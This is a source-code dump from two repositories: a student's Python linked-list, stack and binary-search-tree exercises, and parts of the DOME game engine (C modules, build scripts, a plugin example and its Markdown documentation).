element(Insert at front") print("2) Append an element(Insert at Rear") print("3) Delete an element from the front") print("4) Insert at a position") print("5) Delete a key") print("6) Delete at a position") print("7) Length of the List") print("8) Check for a element") print("9) Print the List") print("10) Delete the LinkedList") print("Enter your choice: ") ch = int(input()) if ch==1: ele = int(input("Enter the element to be pushed: ")) llist.push(ele) elif ch==2: ele = int(input("Enter the element to be appended: ")) llist.append(ele) elif ch==3: llist.deleteFront() elif ch==4: ele = int(input("Enter the element to be inserted: ")) pos = int(input("Enter the position to be inserted: ")) llist.insert(pos,ele) elif ch==5: ele = int(input("Enter the element to be deleted: ")) llist.delete(ele) elif ch==6: pos = int(input("Enter the position from the element should be deleted: ")) llist.deletePos(pos) elif ch==7: res = llist.findLength() print("The length of the list: ",res) elif ch==8: ele = int(input("Enter an element to be searched: ")) llist.checkElement(ele) elif ch==9: llist.PrintList() elif ch==10: llist.deleteList() <file_sep>/CircularLinkedList.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun Mar 31 10:07:23 2019 @author: kartiktanksali """ class Node: def __init__(self,data): self.data = data self.next = None class LinkedList: def __init__(self): self.head = None self.tail = None def push(self,data): new_node = Node(data) if self.head == None: self.head = new_node self.tail = new_node self.tail.next = self.head else: new_node.next = self.head self.head = new_node self.tail.next = new_node def append(self,data): new_node = Node(data) if self.head == None: self.head = new_node self.tail = new_node self.tail.next = self.head else: self.tail.next = new_node self.tail = new_node self.tail.next = self.head def deleteFront(self): if self.head == None: print("No elements present to delete") elif self.head == self.tail: self.head = None print("Element deleted and also the linked list is empty") else: self.head = self.head.next self.tail.next = self.head print("Element Deleted") def deleteRear(self): if self.head == None: print("No elements present to delete") elif self.head == self.tail: self.head = None print("Element deleted and also the linked is empty") else: temp = self.head while(temp.next!=self.tail): temp = temp.next temp.next = self.head self.tail = temp self.tail.next = self.head print("Element Deleted") def insertPos(self,pos,data): new_node = Node(data) if self.head == None: self.head = new_node self.tail = new_node self.tail.next = self.head else: temp = self.head for _ in range(pos): temp = temp.next if temp == self.tail: self.append(data) else: new_node.next = temp.next temp.next = new_node print("Element inserted") def printList(self): if self.head==None: print("No elements present to print") else: temp = self.head while(temp): print(temp.data) if temp.next==self.head: return temp = temp.next if __name__ == "__main__": llist = LinkedList() ch=0 while(ch<7): print("1) Push an element") print("2) Append an element") print("3) Delete an element in the front") print("4) Delete an element from the rear") print("5) Insert at a position") print("6) Print list") ch = int(input("Enter your choice: ")) print() if ch==1: ele = int(input("Enter the element you want to push: ")) llist.push(ele) elif ch==2: ele = int(input("Enter the element you want to append: ")) llist.append(ele) elif ch==3: llist.deleteFront() elif ch==4: llist.deleteRear() elif ch==5: ele = int(input("Enter the element to be inserted: ")) pos = int(input("Enter the position: ")) llist.insertPos(pos,ele) elif ch==6: llist.printList() <file_sep>/Dynamic_Stack_Demonstration.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun Mar 17 16:01:11 2019 @author: kartiktanksali """ #Demonstration of implmenting a dynamic stack #Note: The list in pyhton are dynamic in their memory allocation, therefore this is a demonstration. max_size=5 lst = [" "]*max_size ch=0 top=-1 def push(): global top global lst global max_size if top!=max_size-1: max_size = max_size*2 lst.append(" "*max_size) element = int(input("Enter the element to be entered: ")) top+=1 lst[top]=element return f"{element} Pushed" def pop(): global top global lst if top!=-1: element = lst[top] top-=1 return f"{element} popped" def tops(): global top global lst if top!=-1: return lst[top] else: return "No element present in the stack" def display(): global top global lst if top!=-1: for i in range(top+1): print(lst[i],end=" ") else: print("Stack is now empty") while(ch<5): print("\n 1)Push \n 2)Pop \n 3)Top \n 4)Display \n 5)Exit \n") ch = int(input("Enter your choice: ")) if ch==1: res = push() print(res) display() elif ch==2: res = pop() print(res) display() elif ch==3: res = tops() print(res) elif ch==4: display() <file_sep>/BinarySearchTree.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Apr 16 22:24:56 2019 @author: kartiktanksali """ count = 0 INT_MAX = 4294967296 INT_MIN = -4294967296 class Node: def __init__(self,data): self.data = data self.left = None self.right = None class Tree: def __init__(self): self.root = None def getRoot(self): return self.root def insertNode(self,root,node): if root == None: self.root = node else: if node.data <= root.data: if root.left == None: root.left = node print("Node Inserted") else: self.insertNode(root.left,node) elif node.data > root.data: if root.right == None: root.right = node print("Node Inserted") else: self.insertNode(root.right,node) def minimum(self,root): if root == None: print("No tree present") else: temp = root while(temp.left != None): temp = temp.left print("Minimum Value is ",temp.data) return temp def maximum(self,root): if root == None: print("No tree present") return 0 else: temp = root while(temp.right!=None): temp = temp.right print("Maximum Value is ",temp.data) return temp def deleteNode(self,root,data): if root == None: print("No elements to delete") return root if data < root.data: root.left = self.deleteNode(root.left,data) elif data > root.data: root.right = self.deleteNode(root.right,data) elif data == root.data: if root.left is None: temp = root.right root = None return temp elif root.right is None: temp = root.left root = None return temp temp = self.minimum(root.right) root.data = temp.data root.right = self.deleteNode(root.right,temp.data) return root def getCount(self,root): if root == None: return 0 else: return self.getCount(root.left) + self.getCount(root.right) + 1 def getHeight(self,root): if root == None: return -1 else: return max(self.getHeight(root.left),self.getHeight(root.right)) + 1 def search(self,root,data): if root is None or root.data == data: return root else: if data <= root.data: return self.search(root.left,data) elif data > root.data: return self.search(root.right,data) def breadthFirstSearch(self,root): if root == None: return else: queue = [] queue.append(root) while(len(queue)>0): current = queue[0] print(current.data) if current.left != None: queue.append(current.left) if current.right != None: queue.append(current.right) queue.pop(0) def inorder(self,root): if root: self.inorder(root.left) print(root.data) self.inorder(root.right) def isBST(self,root): return (self.isBSTUtil(root,INT_MIN,INT_MAX)) def isBSTUtil(self,root,mini,maxi): if root == None: return True if root.data < mini or root.data > maxi: return False return (self.isBSTUtil(root.left,mini,root.data) and self.isBSTUtil(root.right,node.data,maxi)) tree = Tree() ch=0 while(ch<10): print("\n 1) Insert Node") print("2) Search Node") print("3) Find Minimum Value") print("4) Find Maximum Value") print("5) Number of Nodes") print("6) Delete Node") print("7) Find height of the tree") print("8) BFS - Traversal") print("9) InOrder Traversal") ch = int(input("Enter your choice: ")) if ch==1: ele = int(input("Enter the element to be inserted in tree: ")) root = tree.getRoot() node = Node(ele) tree.insertNode(root,node) elif ch==2: ele = int(input("Enter the element to be searched: ")) root = tree.getRoot() res = tree.search(root,ele) if res: print("Element present") else: print("Element not present") elif ch==3: root = tree.getRoot() tree.minimum(root) elif ch==4: root = tree.getRoot() tree.maximum(root) elif ch==5: root = tree.getRoot() res = tree.getCount(root) print("Number of nodes present in tree: ",res) elif ch==6: ele = int(input("Enter the element to be deleted: ")) root = tree.getRoot() tree.deleteNode(root,ele) elif ch==7: root = tree.getRoot() res = tree.getHeight(root) print("The height of the tree is: ",res) elif ch==8: root = tree.getRoot() tree.breadthFirstSearch(root) elif ch==9: root = tree.getRoot() tree.inorder(root) <file_sep>/DoublyLinkedList.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Apr 1 11:33:31 2019 @author: kartiktanksali """ class Node: def __init__(self,data): self.data = data self.next = None self.prev = None class LinkedList: def __init__(self): self.head = None def push(self,data): new_node = Node(data) if self.head == None: self.head = new_node print("Element Pushed") else: new_node.next = self.head self.head.prev = new_node self.head = new_node print("Element Pushed") def append(self,data): new_node = Node(data) if self.head == None: self.head = new_node print("Element Appended") else: temp = self.head while(temp.next!=None): temp = temp.next temp.next = new_node new_node.prev = temp print("Element Appended") def deleteFront(self): if self.head == None: print("No element to delete") else: self.head = self.head.next print("Element Deleted") def deleteRear(self): if self.head==None: print("No element to delete") else: temp = self.head while(temp.next!=None): temp = temp.next if temp.prev == None: self.head = None else: temp.prev.next = None print("Element Deleted") def insertPos(self,pos,data): new_node = Node(data) if self.head == None: self.head = new_node print("Element Inserted") else: temp = self.head for i in range(1,pos): temp = temp.next if temp.next==None: temp.next = new_node new_node.prev = temp else: next_node = temp.next temp.next = new_node next_node.prev = new_node new_node.next = next_node new_node.prev = next_node print("Element inserted") def printList(self): temp = llist.head while(temp): print(temp.data) temp = temp.next if __name__=="__main__": llist = LinkedList() ch=0 while(ch<7): print("1) Push an element") print("2) Append an element") print("3) Delete an element in the front") print("4) Delete an element from the rear") print("5) Insert at a position") print("6) Print list") ch = int(input("Enter your choice: ")) print() if ch==1: ele = int(input("Enter the element you want to push: ")) llist.push(ele) elif ch==2: ele = int(input("Enter the element you want to append: ")) llist.append(ele) elif ch==3: llist.deleteFront() elif ch==4: llist.deleteRear() elif ch==5: ele = int(input("Enter the element to be inserted: ")) pos = int(input("Enter the position: ")) llist.insertPos(pos,ele) elif ch==6: llist.printList()
860a3c67970837e4fdca96c1dcdf5a3c6426631c
[ "Python" ]
5
Python
kartiktanksali/Data-Structures
25881aa103d44dc9c4524ea2e74b99ba3a00ad52
160025bc82b0051013f7807294f6316420b54907
refs/heads/master
<repo_name>JavierSandoval/tallerMongoDB<file_sep>/assets/js/generarUsuario.js var usuarios = '' for (let i = 0; i < 10; i++) { let nombre = faker.name.firstName() + " " + faker.name.lastName() let ciudad = faker.address.city() let profesion = faker.name.jobTitle() let direccion = faker.address.streetAddress() let telefono = faker.phone.phoneNumber() let email = faker.internet.email() let salario = faker.finance.amount() let edad = faker.random.number(45) usuarios += `{ "nombre": "${nombre}", "ciudad": "${ciudad}", "profesion": "${profesion}", "direccion": "${direccion}", "telefono": "${telefono}", "email": "${email}", "salario": "${salario}", "edad": "${edad}"}`; } console.log(usuarios); /* { "nombre": "<NAME>", "ciudad": "Harrisview", "profesion": "Dynamic Accountability Director", "direccion": "3373 Shania Hills", "telefono": "511-515-6978 x2226", "email": "<EMAIL>", "salario": "268.85", "edad": "3"} { "nombre": "<NAME>", "ciudad": "West Eleazar", "profesion": "Internal Security Specialist", "direccion": "209 Leanna Alley", "telefono": "(768) 250-3075 x2034", "email": "<EMAIL>", "salario": "112.12", "edad": "10"} { "nombre": "<NAME>", "ciudad": "West Adalbertoshire", "profesion": "District Security Engineer", "direccion": "131 Sherman Parkway", "telefono": "652.615.7991", "email": "<EMAIL>", "salario": "642.36", "edad": "38"} { "nombre": "<NAME>", "ciudad": "East Juwan", "profesion": "Human Operations Orchestrator", "direccion": "038 Mueller Landing", "telefono": "433.444.6842", "email": "<EMAIL>", "salario": "184.45", "edad": "37"} { "nombre": "<NAME>", "ciudad": "Bogota", "profesion": "Customer Metrics Developer", "direccion": "14779 Giovanni Gardens", "telefono": "1-810-937-0816 x72576", "email": "<EMAIL>", "salario": "679.07", "edad": "30"} { "nombre": "<NAME>", "ciudad": "West Tellyview", "profesion": "International Assurance Planner", "direccion": "5155 Labadie Stream", "telefono": "454.632.4509 x2088", "email": "<EMAIL>", "salario": "185.21", "edad": "2"} { "nombre": "<NAME>", "ciudad": "Bogota", "profesion": "Global Infrastructure Orchestrator", "direccion": "925 Nicholas Village", "telefono": "1-731-244-1576", "email": "<EMAIL>", "salario": "200.21", "edad": "44"} { "nombre": "<NAME>", "ciudad": "South Isobelland", "profesion": "Dynamic Security Engineer", "direccion": "869 Devyn Parks", "telefono": "(860) 405-7757 x5368", "email": "<EMAIL>", "salario": "929.93", "edad": "28"} { "nombre": "<NAME>", "ciudad": "Lake Salliehaven", "profesion": "Regional Program Planner", "direccion": "14700 Raegan Rapids", "telefono": "1-701-569-0977 x101", "email": "<EMAIL>", "salario": "909.73", "edad": "40"} { "nombre": "<NAME>", "ciudad": "Bogota", "profesion": "Senior Program Architect", "direccion": "552 Friesen Cliffs", "telefono": "479-780-4596 x0109", "email": "<EMAIL>", "salario": "397.47", "edad": "17"} */ /* use taller db.usuarios.updateMany( { "ciudad": "Bogota" }, { $inc: {"salario": 5} }) */ /* use taller db.usuarios.deleteMany( { $lt: { "edad": "18" } }) */
421750fe623f2d2dd3612aceda6ab1ecc7902935
[ "JavaScript" ]
1
JavaScript
JavierSandoval/tallerMongoDB
6e930aac4e6ed97a0cb0fb0400b077fe5baf05ac
d9cc7e582144ad0cf35db37dabbe56a54b28ab71
refs/heads/main
<repo_name>voidberg/dome<file_sep>/src/modules/plugin.c internal void PLUGIN_load(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); const char* name = wrenGetSlotString(vm, 1); DOME_Result result = PLUGIN_COLLECTION_add(engine, name); if (result != DOME_RESULT_SUCCESS) { char buf[256]; sprintf(buf, "There was a problem initialising plugin: %s", name); VM_ABORT(vm, buf); } } <file_sep>/docs/getting-started.md [< Back](.) Getting Started ================= To get started, make sure you've acquired DOME using the [installation](installation) instructions. Place the `dome` executable to a directory which will serve as your workspace. Next, create a new file in your workspace directory named `main.wren`. DOME looks by default for a `main.wren` or `game.egg` file (see [Distributing your Game](guides/distribution)) as the entry point to your game. Open `main.wren` in your favourite text editor and enter the following: ``` class Main { construct new() {} init() {} update() {} draw(alpha) {} } var Game = Main.new() ``` Save the file and navigate to your workspace in the terminal. Run `./dome` and you should see a black box appear. Now you're ready to make your first game! <file_sep>/src/strings.c char* strToLower(const char* str) { size_t length = strlen(str) + 1; char* result = malloc(length); for (size_t i = 0; i < length; i++) { result[i] = tolower(str[i]); } return result; } <file_sep>/AUTHORS.md Authors ======= We'd like to thank the following people for their contributions. * <NAME>, aka springogeek [https://github.com/avivbeeri] * scholar-mage [https://github.com/scholar-mage] * <NAME>, aka frarees [https://github.com/frarees] * <NAME>, aka clsource [https://github.com/clsource] * <NAME> [https://siddhantrao23.github.io] * <NAME> [https://github.com/ChayimFriedman2] * <NAME> [https://github.com/benstigsen] <file_sep>/scripts/setup_static_mac_sdl.sh #!/bin/bash source ./scripts/vars.sh git submodule update --init -- $DIRECTORY if ! [ -d "$DIRECTORY/$FOLDER" ]; then cd $DIRECTORY mkdir ${FOLDER} ; cd ${FOLDER} ../configure CC=$(sh $DIRECTORY/build-scripts/gcc-fat.sh) else cd $DIRECTORY/${FOLDER} fi make # make install if [ -f "$DIRECTORY/$FOLDER/build/.libs/libSDL2main.a" ]; then cp $DIRECTORY/${FOLDER}/build/.libs/libSDL2main.a $LIB_DIR fi cp $DIRECTORY/${FOLDER}/build/.libs/libSDL2.a $LIB_DIR cp $DIRECTORY/${FOLDER}/build/.libs/libSDL2-2.0.0.dylib $LIB_DIR cp $DIRECTORY/${FOLDER}/build/.libs/libSDL2.dylib $LIB_DIR cp $DIRECTORY/${FOLDER}/sdl2-config $LIB_DIR/sdl2-config cp -r $DIRECTORY/include $INCLUDE_DIR/SDL2 cp -r $DIRECTORY/${FOLDER}/include/SDL_config.h $INCLUDE_DIR/SDL2/SDL_config.h <file_sep>/CONTRIBUTING.md # Contributing to DOME Thank you for your interest in contributing to the DOME project. It means so much to us. These are the guidelines you should follow to contribute to DOME. Please use your best judgement. ## Code of Conduct This project is released with a Contributor [Code of Conduct](https://github.com/domeengine/dome/blob/main/CODE_OF_CONDUCT.md). By participating in this project you agree to abide by its terms. ## How can I contribute? ### Reporting a Bug / Suggesting an Enhancement If you find a bug, or want to suggest a new feature or piece of functionality, simply raise an issue and we will consider it. ### Contributing code changes The DOME repository is managed using a variation of [Git Flow](https://www.atlassian.com/git/tutorials/comparing-workflows/gitflow-workflow). In order to start working on DOME, fork and clone the repository, and then checkout the `develop` branch. From here, you should create a feature branch for your changes. ### Submitting a Pull Request Once you finish working on your feature, you should create a pull request, targeting the `develop` branch of the repository. Your code will be checked for code style, presence of documentation if necessary as well as whether your changes match the project Design Philosophy. When these things have been checked, your changes will be merged. ## Where can I ask for help? You can ask for help working on DOME in [our Discord server](https://discord.gg/Py96zeH), or raise an issue asking for help. ## Design Philosophy DOME is designed and implemented according to a set of core principles: Minimalism: DOME is a minimal, but all-in-one toolkit. This means that it should only contain things a majority of projects would benefit from. Almost everything is introduced into the core engine with a specific use-case in mind. It's preferred to implement new features as libraries "on-top" of DOME, rather than including everything in the core. The libraries which are frequently moved from project to project make good candidates for new features. Usage-First: Any new API is designed "usage-first", and then an implementation is built around that. This allows for a more "comfortable" and developer-friendly API, because it's how we would _want_ to use it. Once the API is designed, we do what we can to build an implementation to fit that design, adjusting when technical reasons require it. ## Coding Conventions and Style Guides Code won't be merged into DOME if it doesn't match the existing code style. Here are some of the more obvious style decisions in the codebase. ### C Style C-code should conform to the following: * Variables are named with camelCase. * Functions are named with camelCase. * Structs which represent "objects" are usually declared in all capitals. * Methods associated with structs are named with the format `NAME_methodName()` * Braces are required for control-flow blocks: `while`, `for` and `if` must be followed by a `{` and `}` to mark out the statements which are predicated on that control flow. This is to prevent copy-paste errors, as well as poor semi-colon placement. ```c if (condition) { // This brace is on the same line as the ending parenthesis. //... } ``` * A space must be placed after these keywords, and before parenthesis of their conditions. ```c while (condition) { //... } ``` ### Wren Wren code should conform to the following: * Classes are named with TitleCase, each word being capitalised, including the first. * Variables, methods and properties all require camelCase, even when they are intended to be constants (follows Wren convention e.g. Num.pi). * Constants and variables which do not belong to a class may have the first letter of their identifier capitalised as appropriate. (This is necessary for Wren's scoping rules to work.) ```js var TheAnswerConstant = 42 var degreeOfSeparation = 6 class GraphVisitor { static newProperty { _property } static maxTries { 4 } static someMethod(withInput) { ... } } ``` * Spaces around control-flow constructs, in similarity to C-styles. * Braces around control-flow blocks. ### Directory Structure This repository follows this directory structure. ```scala $ tree -L 1 . . ├── assets ├── docs ├── examples ├── include ├── lib ├── scripts └── src ``` - `assets`: Resource files for building _DOME_ executable. (Icons). - `docs`: Documentation, both in _Markdown_ and _html_. - `examples`: Simple examples. For more elaborate ones please go to the https://github.com/domeengine/dome-examples repository. - `include`: Libraries and external code required for building _DOME_ (simple c and headers). - `lib`: Libraries and external code required for building _DOME_ (Git submodules). - `scripts`: Useful tools and scripts that aids building _DOME_. - `src`: Main _DOME_ source code. <file_sep>/examples/plugin/test.c #include <stddef.h> // You'll need to include the DOME header #include "dome.h" static DOME_API_v0* core; static WREN_API_v0* wren; static const char* source = "" "foreign class ExternalClass {\n" // Source file for an external module "construct init() {} \n" "foreign alert(text) \n" "} \n"; void allocate(WrenVM* vm) { size_t CLASS_SIZE = 0; // This should be the size of your object's data void* obj = wren->setSlotNewForeign(vm, 0, 0, CLASS_SIZE); } void alertMethod(WrenVM* vm) { // Fetch the method argument const char* text = wren->getSlotString(vm, 1); // Retrieve the DOME Context from the VM. This is needed for many things. DOME_Context ctx = core->getContext(vm); core->log(ctx, "%s\n", text); } DOME_EXPORT DOME_Result PLUGIN_onInit(DOME_getAPIFunction DOME_getAPI, DOME_Context ctx) { // Fetch the latest Core API and save it for later use. core = DOME_getAPI(API_DOME, DOME_API_VERSION); // DOME also provides a subset of the Wren API for accessing slots // in foreign methods. wren = DOME_getAPI(API_WREN, WREN_API_VERSION); core->log(ctx, "Initialising external module\n"); // Register a module with it's associated source. // Avoid giving the module a common name. core->registerModule(ctx, "external", source); core->registerClass(ctx, "external", "ExternalClass", allocate, NULL); core->registerFn(ctx, "external", "ExternalClass.alert(_)", alertMethod); // Returning anything other than SUCCESS here will result in the current fiber // aborting. Use this to indicate if your plugin initialised successfully. return DOME_RESULT_SUCCESS; } DOME_EXPORT DOME_Result PLUGIN_preUpdate(DOME_Context ctx) { return DOME_RESULT_SUCCESS; } DOME_EXPORT DOME_Result PLUGIN_postUpdate(DOME_Context ctx) { return DOME_RESULT_SUCCESS; } DOME_EXPORT DOME_Result PLUGIN_preDraw(DOME_Context ctx) { return DOME_RESULT_SUCCESS; } DOME_EXPORT DOME_Result PLUGIN_postDraw(DOME_Context ctx) { return DOME_RESULT_SUCCESS; } DOME_EXPORT DOME_Result PLUGIN_onShutdown(DOME_Context ctx) { return DOME_RESULT_SUCCESS; } <file_sep>/src/modules/dome.c // This informs the engine we want to stop running, and jumps to the end of the game loop if we have no errors to report. internal void PROCESS_exit(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); ASSERT_SLOT_TYPE(vm, 1, NUM, "code"); engine->running = false; engine->exit_status = floor(wrenGetSlotDouble(vm, 1)); wrenSetSlotNull(vm, 0); } internal void PROCESS_getArguments(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); size_t count = engine->argc; char** arguments = engine->argv; wrenEnsureSlots(vm, 2); wrenSetSlotNewList(vm, 0); for (size_t i = 0; i < count; i++) { wrenSetSlotString(vm, 1, arguments[i]); wrenInsertInList(vm, 0, i, 1); } } internal void STRING_UTILS_toLowercase(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, STRING, "string"); int length; const char* str = wrenGetSlotBytes(vm, 1, &length); char* dest = calloc(length + 1, sizeof(char)); utf8ncpy(dest, str, length); utf8lwr(dest); wrenSetSlotBytes(vm, 0, dest, length); free(dest); } internal void WINDOW_resize(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); ASSERT_SLOT_TYPE(vm, 1, NUM, "width"); ASSERT_SLOT_TYPE(vm, 2, NUM, "height"); uint32_t width = wrenGetSlotDouble(vm, 1); uint32_t height = wrenGetSlotDouble(vm, 2); SDL_SetWindowSize(engine->window, width, height); // Window may not have resized to the specified value because of // desktop restraints, but SDL doesn't check this. // We can fetch the final display size from the renderer output. int32_t newWidth, newHeight; SDL_GetRendererOutputSize(engine->renderer, &newWidth, &newHeight); SDL_SetWindowSize(engine->window, newWidth, newHeight); } internal void WINDOW_getWidth(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int width = 0; SDL_GetWindowSize(engine->window, &width, NULL); wrenSetSlotDouble(vm, 0, width); } internal void WINDOW_getHeight(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int height = 0; SDL_GetWindowSize(engine->window, NULL, &height); wrenSetSlotDouble(vm, 0, height); } internal void WINDOW_setTitle(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); ASSERT_SLOT_TYPE(vm, 1, STRING, "title"); const char* title = wrenGetSlotString(vm, 1); SDL_SetWindowTitle(engine->window, title); } internal void WINDOW_getTitle(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); wrenSetSlotString(vm, 0, SDL_GetWindowTitle(engine->window)); } internal void WINDOW_setVsync(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); ASSERT_SLOT_TYPE(vm, 1, BOOL, "vsync"); bool value = wrenGetSlotBool(vm, 1); ENGINE_setupRenderer(engine, value); } internal void WINDOW_setLockStep(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); engine->lockstep = wrenGetSlotBool(vm, 1); } internal void WINDOW_setFullscreen(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); ASSERT_SLOT_TYPE(vm, 1, BOOL, "fullscreen"); bool value = wrenGetSlotBool(vm, 1); SDL_SetWindowFullscreen(engine->window, value ? SDL_WINDOW_FULLSCREEN_DESKTOP : 0); } internal void WINDOW_getFullscreen(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); uint32_t flags = SDL_GetWindowFlags(engine->window); wrenSetSlotBool(vm, 0, (flags & SDL_WINDOW_FULLSCREEN_DESKTOP) != 0); } internal void WINDOW_getFps(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); ENGINE_DEBUG* debug = &engine->debug; // Choose alpha depending on how fast or slow you want old averages to decay. // 0.9 is usually a good choice. double framesThisSecond = 1000.0 / (debug->elapsed+1); double alpha = debug->alpha; debug->avgFps = alpha * debug->avgFps + (1.0 - alpha) * framesThisSecond; wrenSetSlotDouble(vm, 0, debug->avgFps); } internal void WINDOW_setColor(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); ASSERT_SLOT_TYPE(vm, 1, NUM, "color"); uint32_t color = (uint32_t)wrenGetSlotDouble(vm, 1); uint8_t r, g, b; getColorComponents(color, &r, &g, &b); SDL_SetRenderDrawColor(engine->renderer, r, g, b, 0xFF); } internal void WINDOW_getColor(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); uint8_t r, g, b, a; SDL_GetRenderDrawColor(engine->renderer, &r, &g, &b, &a); uint32_t color = (b << 16) | (g << 8) | r; wrenSetSlotDouble(vm, 0, color); } internal void VERSION_getString(WrenVM* vm) { size_t len = 0; char* version = DOME_VERSION; if (version[len] == 'v') { version++; } for (len = 0; len < strlen(version); len++) { if (version[len] != '.' && !isdigit(version[len])) { break; } } wrenSetSlotBytes(vm, 0, version, len); } <file_sep>/scripts/vars.sh VERSION=2.0.12 FOLDER=build DOME_DIR=$PWD INCLUDE_DIR=$DOME_DIR/include LIB_DIR=$DOME_DIR/lib DIRECTORY=$LIB_DIR/SDL <file_sep>/docs/installation.md [< Back](.) Installation ================= You can either download the compiled binaries from GitHub, or you can build the DOME executable from source. ## Method 1: Download You can download the latest public version of DOME from [itch.io](https://avivbeeri.itch.io/dome) or [GitHub](https://github.com/domeengine/dome/releases/latest). Pick the correct version for your computer's operating system and architecture. Once the download is complete, unzip the downloaded archive and place its contents in the directory you want to make your game in. At this point, you should have an executable named `dome` in your current directory. Test your installation by opening a terminal/command-prompt, navigating to the directory and executing: ``` > ./dome -v ``` It should print out its version and SDL versions. You can also download the example `game.egg` from the GitHub repository to test dome. Place it in the same folder as your executable and then run dome, and it should begin playing. ## Method 2: Install using Homebrew If you have [Homebrew](https://brew.sh/) installed (Mac OS X, [Linux and WSL](https://docs.brew.sh/Homebrew-on-Linux)), you can install DOME using the following commands: ``` > brew tap domeengine/tap > brew install dome ``` This will install `dome` as a global command for use anywhere. ## Method 3: Build from Source DOME should build on most unix-like platforms, so long as gcc, git and SDL2 are installed. If these are installed, you can skip to the [Compilation](#compilation) step below. ### Pre-requisite: SDL2 On Mac OS X, you can install SDL2 by using [Homebrew](https://brew.sh) via the command `brew install sdl2`, or installing the official SDL2.framework file from [the SDL2 website](https://www.libsdl.org/download-2.0.php). Finally, you can also compile SDL2 from source and install it "the unix way". Windows is supported, but it's only been tested using a MinGW-w64 MSYS2 environment. For information on setting this up, follow [this guide.](https://github.com/orlp/dev-on-windows/wiki/Installing-GCC--&-MSYS2). You will need a version of SDL2 which is prepared specifically for MinGW-w64. To compile on Linux, you need to either build SDL2 from source "the unix way", or install a pre-prepared package appropriate to your distribution. ### Compilation Once the prerequisites are met, you can clone the DOME repository and build an executable binary by doing the following in your terminal: ``` > git clone https://github.com/domeengine/dome.git > cd dome > make ``` At this point, you should have an executable named `dome` in your current directory. Test your installation by running: ``` > ./dome examples/spaceshooter ``` If all is well, you should see the example game: ![Image of Tutorial Shmup](https://domeengine.com/assets/shmup.png) <file_sep>/README.md # DOME - Design-Oriented Minimalist Engine A comfortable framework for game development which melds SDL2 and the [Wren scripting language](http://wren.io), written in C. ![Image of DOME logo](https://domeengine.com/assets/logo200.png) ### For more information on how to use DOME and get started, read the docs [here](https://domeengine.com). ## How to Use ### Download You can download production-ready binaries from our [Releases page](https://github.com/domeengine/dome/releases/latest). This is the recommended method for distribution and easy development. ### Install via Brew Alternatively, if you have Homebrew installed (Mac OS X, Linux and WSL), you can install DOME using the following commands: ```bash > brew tap domeengine/tap > brew install dome ``` ### Build Finally, if you want to build DOME yourself, to make modifications or other reasons, follow these instruction instead. Ensure you have the shared SDL2 libraries installed on your system first, then to build, run: ```bash > make ``` This will create an executable named `./dome` (on Mac OS X and Linux), and `./dome-x32.exe` or `./dome-x64.exe`. ### Run Run `./dome [gamefile.wren]` to run your game. If your initial file is called `main.wren`, just running `./dome` will execute it. Replace `dome` with your built binary name as necessary. ## Basics Your game's entry point must contain a `Game` variable which contains at least `init()`, `update()` and `draw(_)` methods. ```wren import "input" for Keyboard import "graphics" for Canvas, Color class Main { construct new() {} init() { _x = 10 _y = 10 _w = 5 _h = 5 } update() { if (Keyboard.isKeyDown("left")) { _x = _x - 1 } if (Keyboard.isKeyDown("right")) { _x = _x+ 1 } if (Keyboard.isKeyDown("up")) { _y = _y - 1 } if (Keyboard.isKeyDown("down")) { _y = _y + 1 } } draw(alpha) { Canvas.cls() var color = Color.rgb(171, 82, 54) Canvas.rectfill(_x, _y, _w, _h, color) } } var Game = Main.new() ``` ## Modules DOME provides the following modules/methods/classes: - Graphics - Canvas - Rect - Point - Circle - Lines - Color - ImageData - Draw sprites loaded from files (png) - Input - Keyboard - Mouse - Gamepads - Filesystem - File reading and writing - Audio (stereo and mono OGG and WAV files only) ## TODO You can follow my progress on implementing DOME on [my twitter](https://twitter.com/avivbeeri/status/1012448692119457798). - Graphics - Triangles - IO - Asynchronous Operations - Audio and Graphics also - Network Access - UDP - HTTP client (maybe) - Security sandboxing (maybe) ## Dependencies DOME currently depends on a few libraries to achieve it's functions. - Wren (This is built by `make` automatically) - SDL2 (version 2.0.12 or newer, please install separately when building DOME from source) - utf8.h - stb_image - stb_image_write - stb_truetype - stb_vorbis - microtar - optparse - jo_gif - tinydir - [ABC_fifo](https://github.com/avivbeeri/abc) (A SPMC threadpool/task dispatching FIFO I wrote for this project) - mkdirp Apart from SDL2, all other dependancies are baked in or linked statically. DOME aspires to be both minimalist and cross platform, so it depends on as few external components as possible. ## Acknowledgements - <NAME> for creating Wren and inspiring me to make games, thanks to [Game Programming Patterns](http://gameprogrammingpatterns.com) - Special thanks to [lqdev](https://github.com/liquid600pgm) for the fantastic logo! - <NAME> for the most referenced [resources](https://gafferongames.com/) on Game Loops, Physics and Networking in games - <NAME> for creating [Handmade Hero](https://hero.handmade.network), an inspiration and educational resource that makes this project possible. - Built-in font comes from [here](https://github.com/dhepper/font8x8). - <NAME> for [multiple libraries](https://github.com/nothings/stb) - rxi for [microtar](https://github.com/rxi/microtar) - <NAME> for [utf8.h](https://github.com/sheredom/utf8.h) - <NAME> for [optparse](https://github.com/skeeto/optparse) and [pdjson](https://github.com/skeeto/pdjson) - cxong for [tinydir](https://github.com/cxong/tinydir) - <NAME> for 